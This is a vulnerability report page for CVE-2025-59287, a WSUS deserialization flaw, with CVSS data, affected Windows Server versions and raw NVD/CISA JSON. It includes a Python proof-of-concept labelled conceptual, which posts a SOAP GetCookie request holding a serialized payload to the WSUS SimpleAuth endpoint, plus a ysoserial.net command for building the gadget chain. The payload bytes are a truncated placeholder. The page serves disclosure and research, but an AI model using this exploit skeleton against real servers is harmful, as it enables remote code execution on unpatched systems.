Security Vulnerability Report
中文
CVE-2025-59287 CVSS 9.8 CRITICAL

CVE-2025-59287

Published: 2025-10-14 17:16:12
Last Modified: 2025-11-12 14:33:20

Description

Deserialization of untrusted data in Windows Server Update Service allows an unauthorized attacker to execute code over a network.

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:* - VULNERABLE
Windows Server 2025 (Server Core Installation)
Windows Server 2022 (Server Core Installation)
Windows Server 2022
Windows Server 2019 (Server Core Installation)
Windows Server 2019

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59287 - WSUS Deserialization RCE PoC (Conceptual) # This is a conceptual PoC demonstrating the exploitation approach. # Actual exploitation requires crafting a malicious .NET deserialization payload. import requests import struct TARGET_HOST = "http://target-wsus-server:8530" WSUS_ENDPOINT = "/SimpleAuthWebService/SimpleAuth.asmx" def build_deserialization_payload(): """ Build a malicious .NET deserialization payload targeting BinaryFormatter. The payload uses a known gadget chain (e.g., ysoserial.net generated) to achieve remote code execution upon deserialization. """ # Using ysoserial.net to generate the payload: # ysoserial.exe -g TypeConfuseDelegate -f BinaryFormatter -c "cmd /c calc.exe" -o raw # # The generated binary payload is a serialized .NET object that, # when deserialized by the vulnerable WSUS service, triggers # arbitrary code execution via the TypeConfuseDelegate gadget chain. # Placeholder for actual binary payload (base64 encoded ysoserial output) payload = b"\x00\x01\x00\x00\x00\xff\xff\xff\xff\x01\x00\x00\x00\x00\x00\x00\x00..." return payload def exploit_wsus_deserialization(target_url, payload): """ Send the malicious serialized payload to the vulnerable WSUS endpoint. The WSUS server will deserialize the payload and execute the embedded command. """ headers = { "Content-Type": "application/soap+xml; charset=utf-8", "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetCookie"', "User-Agent": "Windows-Update-Agent" } # Construct SOAP envelope wrapping the malicious serialized object soap_envelope = f"""<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing"> <s:Header> <a:To s:mustUnderstand="1">{target_url}{WSUS_ENDPOINT}</a:To> </s:Header> <s:Body> <GetCookie xmlns="http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService"> <data>{payload.hex()}</data> </GetCookie> </s:Body> </s:Envelope>""" try: response = requests.post( f"{target_url}{WSUS_ENDPOINT}", data=soap_envelope, headers=headers, timeout=30 ) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Length: {len(response.content)}") return response except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": print("[*] CVE-2025-59287 WSUS Deserialization RCE PoC") print(f"[*] Target: {TARGET_HOST}") payload = build_deserialization_payload() print(f"[*] Payload size: {len(payload)} bytes") result = exploit_wsus_deserialization(TARGET_HOST, payload) if result and result.status_code == 200: print("[+] Exploit sent successfully - check target for code execution") else: print("[-] Exploit may have failed")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59287", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:11.670", "lastModified": "2025-11-12T14:33:19.727", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Deserialization of untrusted data in Windows Server Update Service allows an unauthorized attacker to execute code over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "cisaExploitAdd": "2025-10-24", "cisaActionDue": "2025-11-14", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Windows Server Update Service (WSUS) Deserialization of Untrusted Data Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-502"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:-:*:*:*:*:*:*:*", "matchCriteriaId": "A7DF96F8-BA6A-4780-9CA3-F719B3F81074"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2012:r2:*:*:*:*:*:*:*", "matchCriteriaId": "DB18C4CE-5917-401E-ACF7-2747084FD36E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8524", "matchCriteriaId": "7200EF9B-2689-4E9E-BE9E-E00836A7D284"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7922", "matchCriteriaId": "D9DDF9BE-8D0B-4027-B3F7-FFD96438E3EB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4297", "matchCriteriaId": "BDAC36D7-54A0-456B-B176-17A0B9E63C7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1916", "matchCriteriaId": "FBA85BFD-9802-452E-97B1-6380554EF254"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6905", "matchCriteriaId": "2E5FFF5B-8745-47F6-A0B7-262AA43353BB"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59287", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://hawktrace.com/blog/CVE-2025-59287", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://www.bleepingcomputer.com/news/security/cisa-orders-feds-to-patch-windows-server-wsus-flaw-exploited-in-attacks/", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Press/Media Coverage"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-59287-detection-script-rce-vulnerability-in-windows-server-update-service", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2025-59287-mitigation-script-rce-vulnerability-in-windows-server-update-service", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://gist.github.com/hawktrace/880b54fb9c07ddb028baaae401bd3951", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-59287", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Third Party Advisory", "US Government Resource"]}]}}